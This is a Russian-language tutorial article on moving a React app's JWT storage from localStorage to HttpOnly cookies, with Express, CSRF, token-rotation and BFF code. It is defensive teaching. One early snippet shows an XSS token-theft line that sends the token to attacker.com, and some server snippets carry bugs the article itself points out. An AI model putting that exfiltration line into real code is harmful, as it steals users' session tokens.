Главная / Статьи

Перенос JWT приложения React из localStorage в HttpOnly-куки

Узнайте, почему JWT в localStorage уязвимы к любому типу XSS, как HttpOnly-куки с параметрами SameSite, ротация и BFF снижают риски, и какие проблемы остаются в приложениях на React.

Издатель: REACTAPP.TOP9 мин чтения2123 слов

Источники: LocalStorage vs. HttpOnly Cookies: How to Actually Secure Your React App’s JWT

Место хранения токена доступа в приложении React определяет, какую цену может стоить одна ошибка кросс-сайтового скриптинга. JWT, хранящийся в localStorage, может быть прочитан и выведен за пределы страницы любым скриптом на ней; JWT в HttpOnly-куки не может быть прочитан, хотя куки создают другие проблемы, связанные с подделкой запросов между сайтами. Ниже приведено сравнение обоих вариантов, настройка с использованием куки и сервера Express, а также методы ротации токенов, защиты от CSRF и использования Backend-for-Frontend для завершения реализации.

Два варианта хранения, два модели рисков

Браузер не различает собственные скрипты пользователя и внедренные извне, поэтому два обычных места хранения JWT проявляют себя по-разному:

  • localStorage доступен для чтения любым JavaScript-кодом на том же домене. Основная угроза — XSS; меры защиты включают строгие правила CSP и обработку данных.
  • HttpOnly-куки отправляются браузером и невидимы для JavaScript. Угроза заключается в CSRF; мерами защиты являются параметры SameSite и токены CSRF.
  • Почему localStorage превращает XSS в захват учетной записи

    Любой скрипт, выполняющийся на вашем домене, для кражи токена нуждается в двух шагах:

    // Any script running on your domain can do this:
    const token = localStorage.getItem('access_token');
    fetch('https://attacker.com/steal?token=' + token);
    

    Внедряемый код попадает в проекты React через больше каналов, чем ожидают команды:

    • Метод dangerouslySetInnerHTML с контентом, который находится не под вашим контролем.
    • Подверженные угрозам пакеты npm, как в случаях с event-stream и ua-parser-js.
    • Измененные скрипты из внешних CDN.
    • Инструменты обработки Markdown, которые пропускают процедуру очистки.
    • Расширения браузера, внедряющие код на страницу.

    JSX экранирует вставляемые строки, но эта защита исчезает, как только код отключает её, обычно для отображения BIOS-информации или текста с форматированием:

    // ❌ NEVER do this with user-generated content
    <div dangerouslySetInnerHTML={{ __html: user.bio }} />
    // ❌ Or with rich text editors
    <div dangerouslySetInnerHTML={{ __html: sanitizeHtml(user.content) }} />
    

    Инструменты очистки помогают, однако существуют способы их обойти. Для справки приведён знакомый клиент localStorage: функции для хранения и чтения токена, а также обёртка, добавляющая заголовок Bearer.

    // services/auth.ts
    const TOKEN_KEY = 'access_token';
    export const setToken = (token: string) => {
      localStorage.setItem(TOKEN_KEY, token);
    };
    export const getToken = () => {
      return localStorage.getItem(TOKEN_KEY);
    };
    export const removeToken = () => {
      localStorage.removeItem(TOKEN_KEY);
    };
    // api/client.ts
    import { getToken } from './auth';
    export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
      const token = getToken();
    
      const response = await fetch(`${API_BASE_URL}${endpoint}`, {
        ...options,
        headers: {
          'Content-Type': 'application/json',
          ...(token && { Authorization: `Bearer ${token}` }),
          ...options.headers,
        },
      });
    
      return response;
    };
    

    Это простое решение, и сделать его устойчивым к XSS невозможно, поскольку сама конструкция требует от JavaScript чтения токена.

    HttpOnly-куки в качестве стандарта

    Сервер устанавливает куку, причём каждый из её атрибутов устраняет определённую проблему:

    Set-Cookie: access_token=eyJhbGciOiJIUzI1NiIs...;
      HttpOnly;
      Secure;
      SameSite=Strict;
      Path=/;
      Max-Age=900
    
    • HttpOnly скрывает куку от доступа через document.cookie и все скрипты.
    • Secure ограничивает использование куки только HTTPS-соединениями.
    • SameSite=Strict не позволяет браузеру отправлять её в запросы, инициированные другими сайтами.
  • Max-Age=900 определяет срок действия токена доступа в 15 минут.
  • Клиент больше не взаимодействует с токеном

    React удаляет вспомогательные функции для хранения и заголовки. Ключевая строка — credentials: 'include', которая заставляет функцию fetch отправлять куки. При коде ошибки 401 обертка обновляет токен и повторяет запрос или перенаправляет на страницу входа.

    // api/client.ts
    // No manual Authorization header needed!
    export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
      const response = await fetch(`${API_BASE_URL}${endpoint}`, {
        ...options,
        credentials: 'include', // CRITICAL: Sends cookies with requests
        headers: {
          'Content-Type': 'application/json',
          ...options.headers,
        },
      });
    
      // If 401, try refreshing
      if (response.status === 401) {
        const refreshed = await refreshAccessToken();
        if (refreshed) {
          // Retry original request (browser auto-sends new cookie)
          return apiClient(endpoint, options);
        }
        // Redirect to login
        window.location.href = '/login';
      }
    
      return response;
    };
    

    В производственной среде необходимо ограничить количество попыток повторного запроса одной, чтобы обновление токена, которое «успешно» происходит, но API по-прежнему возвращает код 401, не могло продолжаться бесконечно, а также совместно использовать одно обновление токена при одновременных сбоях, как описано в решении проблемы единственного обновления токена.

    Сторона Express

    При входе сервер генерирует токен доступа сроком на 15 минут и токен обновления сроком на 7 дней с отдельными секретами, сохраняет хэш токена обновления и устанавливает оба куки. Кукя обновления использует параметр path: '/auth/refresh', поэтому она передаётся только на этот конечный пункт. Обработчик обновления проверяет JWT, сравнивает его с сохранённым хэшем с помощью bcrypt и выдаёт новую кукю доступа.

    // auth.controller.ts
    import { Response } from 'express';
    import jwt from 'jsonwebtoken';
    const ACCESS_TOKEN_EXPIRY = '15m';
    const REFRESH_TOKEN_EXPIRY = '7d';
    export const login = async (req, res: Response) => {
      const { email, password } = req.body;
    
      // Validate credentials...
      const user = await validateUser(email, password);
    
      const accessToken = jwt.sign(
        { userId: user.id, role: user.role },
        process.env.ACCESS_TOKEN_SECRET!,
        { expiresIn: ACCESS_TOKEN_EXPIRY }
      );
    
      const refreshToken = jwt.sign(
        { userId: user.id, tokenVersion: user.tokenVersion },
        process.env.REFRESH_TOKEN_SECRET!,
        { expiresIn: REFRESH_TOKEN_EXPIRY }
      );
    
      // Store refresh token hash in database (not the raw token!)
      await storeRefreshToken(user.id, refreshToken);
    
      // Set cookies
      res.cookie('access_token', accessToken, {
        httpOnly: true,
        secure: process.env.NODE_ENV === 'production',
        sameSite: 'strict',
        maxAge: 15 * 60 * 1000, // 15 minutes
        path: '/',
      });
    
      res.cookie('refresh_token', refreshToken, {
        httpOnly: true,
        secure: process.env.NODE_ENV === 'production',
        sameSite: 'strict',
        maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
        path: '/auth/refresh', // Only sent to refresh endpoint
      });
    
      res.json({ success: true });
    };
    export const refresh = async (req, res: Response) => {
      const refreshToken = req.cookies.refresh_token;
    
      if (!refreshToken) {
        return res.status(401).json({ error: 'No refresh token' });
      }
    
      try {
        const payload = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET!) as any;
    
        // Check if token is in database and not revoked
        const storedToken = await getRefreshToken(payload.userId);
        if (!storedToken || !await bcrypt.compare(refreshToken, storedToken.hash)) {
          return res.status(401).json({ error: 'Invalid refresh token' });
        }
    
        // Rotate: Issue new access token (and optionally new refresh token)
        const newAccessToken = jwt.sign(
          { userId: payload.userId },
          process.env.ACCESS_TOKEN_SECRET!,
          { expiresIn: ACCESS_TOKEN_EXPIRY }
        );
    
        res.cookie('access_token', newAccessToken, {
          httpOnly: true,
          secure: true,
          sameSite: 'strict',
          maxAge: 15 * 60 * 1000,
          path: '/',
        });
    
        res.json({ success: true });
      } catch {
        // Clear cookies on failure
        res.clearCookie('access_token');
        res.clearCookie('refresh_token');
        res.status(401).json({ error: 'Invalid token' });
      }
    };
    

    Перед повторным использованием: импортируйте bcrypt; обратите внимание, что токен обновления имеет жёстко заданное значение secure: true, в то время как при входе проверяется значение из окружения; кроме того, функция res.clearCookie('refresh_token') также должна указывать параметр path: '/auth/refresh', иначе кукя на самом деле не будет удалена.

    CSRF в среде SameSite

    CSRF использует тот факт, что куки передаются автоматически. Атрибут SameSite решает большинство проблем в браузере, а браузеры на основе Chromium считают куки без этого атрибута как Lax. Для SPA:

    • Выберите Strict, когда фронтенд и API находятся на одном домене.
    • Выберите Lax, когда пользователи попадают по внешним ссылкам и должны авторизоваться при первом переходе.
    • Избегайте значения None, если только у вас действительно нет необходимости в куках между сайтами и вы понимаете последствия.

    Под «сайтом» имеется в виду зарегистрированный домен, поэтому скомпрометированный поддомен все равно считается частью того же сайта.

    Добавление токена двойной проверки

    Для дополнительной защиты сервер устанавливает случайное значение в читаемую куку, React копирует его в заголовок X-CSRF-Token, а сервер отклоняет запросы, в которых эти значения не совпадают.

    // Backend sets a non-HttpOnly CSRF cookie
    res.cookie('csrf_token', generateRandomToken(), {
      httpOnly: false, // React needs to read this
      secure: true,
      sameSite: 'strict',
    });
    // React reads it and sends in header
    const csrfToken = document.cookie
      .split('; ')
      .find(row => row.startsWith('csrf_token='))
      ?.split('=')[1];
    fetch('/api/sensitive', {
      method: 'POST',
      credentials: 'include',
      headers: {
        'X-CSRF-Token': csrfToken,
      },
    });
    

    Страница-форджинг не может считывать ваши куки из-за правила одного источника, поэтому она не может сгенерировать соответствующий заголовок. При использовании параметра SameSite=Strict и строгих правил CORS это часто бывает избыточным, но это недорогая мера защиты от неправильной настройки.

    Ротация токенов обновления и выявление повторного использования

    Короткие токены доступа в сочетании с более длинными токенами обновления являются стандартной практикой, но украденный токен обновления всё равно позволяет получать доступ в течение нескольких дней. Благодаря ротации при каждом обновлении генерируется новый токен, а старый аннулируется; если устаревший токен снова появляется, это означает, что кто-то пытается им воспользоваться повторно, и безопасной реакцией будет аннулирование всех сессий этой учётной записи.

    // When refreshing, invalidate the old refresh token
    export const refresh = async (req, res) => {
      const incomingRefresh = req.cookies.refresh_token;
    
      // Find user by refresh token
      const user = await findUserByRefreshToken(incomingRefresh);
    
      if (!user) {
        // Possible token reuse! Clear all sessions.
        await revokeAllUserTokens(user.id);
        return res.status(401).json({ error: 'Token reuse detected' });
      }
    
      // Rotate: Generate new pair
      const newRefresh = generateRefreshToken();
      await replaceRefreshToken(incomingRefresh, newRefresh);
    
      // If attacker had stolen old token, it's now invalid
      // If legitimate user has old token (race condition), they'll need to re-auth
    };
    

    Сначала исправьте одну ошибку: в блоке if (!user) код вызывает функцию revokeAllUserTokens(user.id) с параметром null. Для реального обнаружения повторного использования необходимо найти владельца уже истекшего токена, обычно с помощью записи «семьи токенов». Могут возникнуть ложноположительные срабатывания, когда два таба обновляются одновременно; короткий период толерантности помогает в этом случае. Руководство по стратегии обновления токенов здесь содержит дополнительную информацию с серверной стороны.

    Хранение токенов не на клиенте с помощью BFF

    BFF (Backend-for-Frontend) — это простой сервер, расположенный между React и реальным API:

    React App → BFF (Next.js API routes / Express) → Actual API
    

    Он использует процессы OAuth (Authorization Code с PKCE), хранит токены в зашифрованных куках типа HttpOnly, обрабатывает проблемы CSRF и устраняет большинство настроек CORS, поскольку браузер обращается только к своему собственному источнику. В Next.js обработчик маршрута может пересылать учетные данные в сервис аутентификации и преобразовывать возвращенный токен в куку:

    // Next.js API Route (BFF pattern)
    // pages/api/auth/[...nextauth].ts or app/api/auth/route.ts
    import { NextRequest, NextResponse } from 'next/server';
    export async function POST(req: NextRequest) {
      const body = await req.json();
    
      // Call actual auth service
      const authRes = await fetch('https://internal-api.company.com/auth', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(body),
      });
    
      const { access_token, refresh_token } = await authRes.json();
    
      const response = NextResponse.json({ success: true });
    
      // Set HttpOnly cookies
      response.cookies.set('access_token', access_token, {
        httpOnly: true,
        secure: true,
        sameSite: 'strict',
        maxAge: 900,
      });
    
      return response;
    }
    

    Полная версия также будет хранить токен обновления и проверять значение authRes.ok перед парсингом. Решение типа BFF подходит, когда используется сторонний OAuth-сервис, такой как Google или GitHub, API расположен на другом домене, вы хотите избавиться от логики аутентификации в бандле или уже используете Next.js.

    Выбор подхода

    Для большинства SPA с одним доменом это является базовым решением:

    ✅ HttpOnly cookies with:
       - SameSite=Strict (or Lax)
       - Secure flag
       - Short-lived access tokens (5-15 min)
       - Rotating refresh tokens (7 days)
       - Token reuse detection
       - CORS properly configure
    

    Для API между доменами или мобильных клиентов использование localStorage допустимо только в том случае, если вы готовы принять риск XSS и компенсировать его:

    localStorage ONLY if:
       - You implement strict CSP headers
       - You audit all dependencies for XSS
       - You don't use dangerouslySetInnerHTML
       - You have a short token lifetime (< 15 min)
       - You accept the XSS risk
    

    Для самых строгих требований или корпоративных протоколов BFF удаляет токены из браузера:

     Backend-for-Frontend (BFF):
       - React app talks to same-origin API routes
       - API routes handle tokens in HttpOnly cookies
       - React never touches JWTs
       - Works with OAuth, SAML, enterprise auth
    

    Чек-лист для аутентификации на основе куки

    • Отметьте куки аутентификации как HttpOnly, Secure и SameSite=Strict.
    • Срок действия токенов доступа должен составлять от 5 до 15 минут.
    • Обновляйте токены обновления с функцией обнаружения повторного использования.
    • Включайте параметр credentials: 'include' в каждый запрос через fetch или axios.
    • Сочетайте параметр Access-Control-Allow-Credentials: true с указанием конкретного источника.
    • Избегайте включения куки в логи и инструменты аналитики.
    • Удаляйте куки с серверной стороны на конце пути /logout, при необходимости с использованием параметра Clear-Site-Data: "cookies".
    • Всегда используйте политику безопасности контента.

    Усиленный ответ может содержать следующие заголовки:

    # Example secure headers
    Content-Security-Policy: default-src 'self'; script-src 'self';
    Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
    Clear-Site-Data: "cookies"  # On logout
    

    Заключение

    Cookies с атрибутом HttpOnly не делают угрозу XSS безвредной: внедренный скрипт всё равно может отправлять авторизованные запросы, пока страница открыта. Однако он не может унести токен с собой и использовать его в другом месте. Именно это отличие, наряду с коротким сроком действия и ротацией токенов, делает cookies подходящим стандартным решением для веб-приложений, при этом всё равно требуется наличие механизма CSP. Проблема CSRF в основном решается с помощью атрибута SameSite и необязательного дополнительного токена для подтверждения запроса, в то время как XSS остается постоянной угрозой в коде на React, содержащем множество зависимостей. Если междоменная аутентификация затрудняет использование cookies, лучше создать небольшой BFF, чем прибегать к использованию localStorage.